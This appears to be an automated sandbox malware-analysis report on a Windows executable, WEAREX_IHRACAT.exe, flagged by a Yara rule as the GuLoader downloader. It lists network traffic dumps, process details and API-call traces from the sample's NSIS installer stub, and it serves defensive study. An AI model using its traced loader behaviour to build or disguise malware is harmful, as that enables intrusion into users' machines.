2024-08-29 10:48:12 UTC	692	IN	Data Raw: 62 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b95<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:48:12 UTC	1369	IN	Data Raw: 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:48:12 UTC	911	IN	Data Raw: 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 Data Ascii: 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.6
2024-08-29 10:48:12 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-08-29 10:48:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	06:39:44
Start date:	29/08/2024
Path:	C:\Users\user\Desktop\WEAREX_IHRACAT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\WEAREX_IHRACAT.exe"
Imagebase:	0x400000
File size:	416'292 bytes
MD5 hash:	2E620407C0B25239EF46534A34217C27
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2455393389.00000000031C1000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:40:09
Start date:	29/08/2024
Path:	C:\Users\user\Desktop\WEAREX_IHRACAT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\WEAREX_IHRACAT.exe"
Imagebase:	0x400000
File size:	416'292 bytes
MD5 hash:	2E620407C0B25239EF46534A34217C27
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.6650157112.0000000001721000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	16.2%
Dynamic/Decrypted Code Coverage:	15.2%
Signature Coverage:	18.5%
Total number of Nodes:	1512
Total number of Limit Nodes:	37

Executed Functions

Function 00403358 Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403377
SetErrorMode.KERNELBASE(00008001), ref: 00403382
OleInitialize.OLE32(00000000), ref: 00403389

Part of subcall function 00406252: GetModuleHandleA.KERNEL32(?,?,00000020,0040339B,00000008), ref: 00406264
Part of subcall function 00406252: LoadLibraryA.KERNELBASE(?,?,00000020,0040339B,00000008), ref: 0040626F
Part of subcall function 00406252: GetProcAddress.KERNEL32(00000000,?), ref: 00406280

SHGetFileInfoW.SHELL32(00420690,00000000,?,000002B4,00000000), ref: 004033B1

Part of subcall function 00405EE8: lstrcpynW.KERNEL32(?,?,00000400,004033C6,004281E0,NSIS Error), ref: 00405EF5

GetCommandLineW.KERNEL32(004281E0,NSIS Error), ref: 004033C6
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe",00000000), ref: 004033D9
CharNextW.USER32(00000000,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe",00000020), ref: 00403400
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 00403509
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040351A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403526
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040353A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403542
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403553
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040355B
DeleteFileW.KERNELBASE(1033), ref: 0040356F
OleUninitialize.OLE32(?), ref: 0040361F
ExitProcess.KERNEL32 ref: 0040363F
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe",00000000,?), ref: 0040364B
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe",00000000,?), ref: 00403657
CreateDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403663
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 0040366A
DeleteFileW.KERNEL32(0041FE90,0041FE90,?,0042A000,?), ref: 004036C4
CopyFileW.KERNEL32(C:\Users\user\Desktop\WEAREX_IHRACAT.exe,0041FE90,00000001), ref: 004036D8
CloseHandle.KERNEL32(00000000,0041FE90,0041FE90,?,0041FE90,00000000), ref: 00403705
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 0040375B
ExitWindowsEx.USER32(00000002,00000000), ref: 00403797
ExitProcess.KERNEL32 ref: 004037BA

Strings

C:\Users\user\gangningerne\jot\mtn\Discomplexion, xrefs: 004035FC
1033, xrefs: 0040356A
C:\Users\user\Desktop\WEAREX_IHRACAT.exe, xrefs: 004036D3
C:\Users\user\AppData\Local\Temp\, xrefs: 004034FE, 00403503, 00403519, 00403525, 00403534, 00403541, 0040354D, 00403555, 0040364A, 00403656, 00403662, 00403669, 0040371A
TMP, xrefs: 00403556
\Temp, xrefs: 00403520
TEMP, xrefs: 0040354E
~nsu.tmp, xrefs: 00403645
Error launching installer, xrefs: 004035D6
"C:\Users\user\Desktop\WEAREX_IHRACAT.exe", xrefs: 004033CC, 004033D2, 00403593
C:\Users\user\gangningerne\jot\mtn, xrefs: 004034EE, 004035F1, 00403670, 0040367A
NSIS Error, xrefs: 004033B7
C:\Users\user\Desktop, xrefs: 00403650, 00403655, 00403679
SeShutdownPrivilege, xrefs: 0040376D
Low, xrefs: 0040353C
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040336B

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\WEAREX_IHRACAT.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\WEAREX_IHRACAT.exe$C:\Users\user\gangningerne\jot\mtn$C:\Users\user\gangningerne\jot\mtn\Discomplexion$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-772951401
Opcode ID: a3fc4b19b007463ca7c8d179c052c8cc71bf452235c419b64912ac856f47fe19
Instruction ID: d10961c3cf085e12fbe59355e5df5276e8fc63a686dc482ac58f4e9f7edec25e
Opcode Fuzzy Hash: a3fc4b19b007463ca7c8d179c052c8cc71bf452235c419b64912ac856f47fe19
Instruction Fuzzy Hash: 8CB1E070904211AAD720BF629D49A3B3EACEB45706F40453FF542B62E2D77C5A41CB7E

Function 00405F0A Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,004216B0,?,004051C9,004216B0,00000000,00000000,00000000), ref: 00405FCD
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040604B
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 0040605E
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040609A
SHGetPathFromIDListW.SHELL32(?,Call), ref: 004060A8
CoTaskMemFree.OLE32(?), ref: 004060B3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004060D7
lstrlenW.KERNEL32(Call,00000000,004216B0,?,004051C9,004216B0,00000000,00000000,00000000), ref: 00406131

Strings

Call, xrefs: 00405F34, 00406014, 00406035, 0040604A, 0040605D, 00406079, 004060A4, 004060D6, 004060DC, 004060F6, 0040610A, 0040612A, 00406130, 0040613C, 0040616F
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406019
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060D1

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
Instruction ID: 384f9b18ecc494a8ae61019a25258fdef34cde8ff9634092dda9820a5ebc2bca
Opcode Fuzzy Hash: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
Instruction Fuzzy Hash: 51610331A40505ABDB209F25CC44AAF37B5EF04314F51813BE956BB2E1D73D8AA2CB5E

Function 00405770 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,752C2EE0,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe"), ref: 00405799
lstrcatW.KERNEL32(004246D8,\*.*,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,752C2EE0,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe"), ref: 004057E1
lstrcatW.KERNEL32(?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,752C2EE0,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe"), ref: 00405804
lstrlenW.KERNEL32(?,?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,752C2EE0,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe"), ref: 0040580A
FindFirstFileW.KERNEL32(004246D8,?,?,?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,752C2EE0,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe"), ref: 0040581A
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 004058BA
FindClose.KERNEL32(00000000), ref: 004058C9

Strings

"C:\Users\user\Desktop\WEAREX_IHRACAT.exe", xrefs: 00405779
C:\Users\user\AppData\Local\Temp\, xrefs: 0040577E
\*.*, xrefs: 004057DB

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\WEAREX_IHRACAT.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1219310517
Opcode ID: 8c3b492f51f2aa56c01f6892731e0635e14f6b509c2227e8f90ab5b8896d8952
Instruction ID: ac1757c2d801c66fd25662a47f0a2b95df28272739e9ed83f1af15967125822e
Opcode Fuzzy Hash: 8c3b492f51f2aa56c01f6892731e0635e14f6b509c2227e8f90ab5b8896d8952
Instruction Fuzzy Hash: D541B132800A14F6DB217B659C49AAF76B8DF41724F20817BF801B21D1D77C4D92DE6E

Function 0040653D Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a15f429ebeef9cdec0e0a946c982a144c1606cedce27df8dc8c79f03dc168eda
Instruction ID: 813cf183cee5dec966489ce4b0e77547af2495df81e7d873cacca3ac907c1fa9
Opcode Fuzzy Hash: a15f429ebeef9cdec0e0a946c982a144c1606cedce27df8dc8c79f03dc168eda
Instruction Fuzzy Hash: 95F18770D00229CBCF18CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44

Function 0040622B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00425720,00424ED8,00405A84,00424ED8,00424ED8,00000000,00424ED8,00424ED8,?,?,752C2EE0,00405790,?,C:\Users\user\AppData\Local\Temp\,752C2EE0), ref: 00406236
FindClose.KERNELBASE(00000000), ref: 00406242

Strings

WB, xrefs: 0040622C

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: WB
API String ID: 2295610775-2854515933
Opcode ID: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction ID: 5d149797fe7980082160aacd61be100e78ee611d6da8cc620cf98d5f9d27cd73
Opcode Fuzzy Hash: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction Fuzzy Hash: 34D01231A590209BC20037387D0C85B7A58AB493307624AB6F826F23E0C7389C6586AD

Function 00406252 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,0040339B,00000008), ref: 00406264
LoadLibraryA.KERNELBASE(?,?,00000020,0040339B,00000008), ref: 0040626F
GetProcAddress.KERNEL32(00000000,?), ref: 00406280

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction ID: 168f21105135a374c063cbb502f6419b25eb399c8ec2d40735489a78174e37d1
Opcode Fuzzy Hash: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction Fuzzy Hash: 6FE0CD36E08120BBC7115B309D44D6773BC9FD9741305043DF505F6240C774AC1297E9

Function 0040276E Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040277D

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 4cbdbd8e282f3210afb702b0731cfa06ea0a4afed203f093be5a44e6b438530a
Instruction ID: 660448b4c8776a587482eabd0d7c95c139f1dfbade13b447c4bb41c6a72f42af
Opcode Fuzzy Hash: 4cbdbd8e282f3210afb702b0731cfa06ea0a4afed203f093be5a44e6b438530a
Instruction Fuzzy Hash: 7EF082B1614114DBDB00DFA5DD499AEB378FF15314F60097BF111F31D0D6B459409B2A

Function 004038B2 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406252: GetModuleHandleA.KERNEL32(?,?,00000020,0040339B,00000008), ref: 00406264
Part of subcall function 00406252: LoadLibraryA.KERNELBASE(?,?,00000020,0040339B,00000008), ref: 0040626F
Part of subcall function 00406252: GetProcAddress.KERNEL32(00000000,?), ref: 00406280

lstrcatW.KERNEL32(1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user\AppData\Local\Temp\,752C3420,00000000,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe"), ref: 00403933
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\gangningerne\jot\mtn,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user\AppData\Local\Temp\), ref: 004039B3
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\gangningerne\jot\mtn,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000), ref: 004039C6
GetFileAttributesW.KERNEL32(Call), ref: 004039D1
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\gangningerne\jot\mtn), ref: 00403A1A

Part of subcall function 00405E2F: wsprintfW.USER32 ref: 00405E3C

RegisterClassW.USER32(00428180), ref: 00403A57
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A6F
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AA4
ShowWindow.USER32(00000005,00000000), ref: 00403ADA
LoadLibraryW.KERNEL32(RichEd20), ref: 00403AEB
LoadLibraryW.KERNEL32(RichEd32), ref: 00403AF6
GetClassInfoW.USER32(00000000,RichEdit20W,00428180), ref: 00403B06
GetClassInfoW.USER32(00000000,RichEdit,00428180), ref: 00403B13
RegisterClassW.USER32(00428180), ref: 00403B1C
DialogBoxParamW.USER32(?,00000000,00403C55,00000000), ref: 00403B3B

Strings

RichEdit20W, xrefs: 00403AFE, 00403B04
1033, xrefs: 004038D2, 0040392E
.exe, xrefs: 004039C0
C:\Users\user\AppData\Local\Temp\, xrefs: 004038BE
RichEd32, xrefs: 00403AF1
RichEdit, xrefs: 00403B0D
Call, xrefs: 0040397A, 00403983, 00403991, 004039E0, 004039E6
"C:\Users\user\Desktop\WEAREX_IHRACAT.exe", xrefs: 004038B5
.DEFAULT\Control Panel\International, xrefs: 0040391E
RichEd20, xrefs: 00403AE6
